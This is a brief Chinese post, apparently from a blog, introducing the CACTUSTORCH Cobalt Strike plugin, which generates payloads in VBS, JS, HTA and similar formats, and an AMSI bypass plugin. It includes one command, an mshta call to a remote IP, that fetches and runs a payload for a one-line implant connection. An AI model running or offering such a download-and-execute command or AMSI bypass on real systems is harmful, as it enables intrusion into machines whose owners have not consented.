cs插件-CACTUSTORCH
CACTUSTORCH是payload生成器,可以生成以下这些格式的payload。
VBS
VBA
JS
JSE
WSF
HTA
VBE
使用方法
如果不会添加cs插件的可以看看这个视频:CobaltStrike的插件(八)
mshta.exe http://192.168.18.30/a
amsi bypass插件
总结
CACTUSTORCH是一个五年前的工具。
amsi bypass是一个四年前的工具。
这些工具的作用是生成各种格式的payload,达到一句话上线的效果。
DotNetToJScript这个工具是先出来的,后来出了CACTUSTORCH,比第一款工具生成的payload格式要全很多。
当然都过去几年了,直接运行肯定是不免杀的。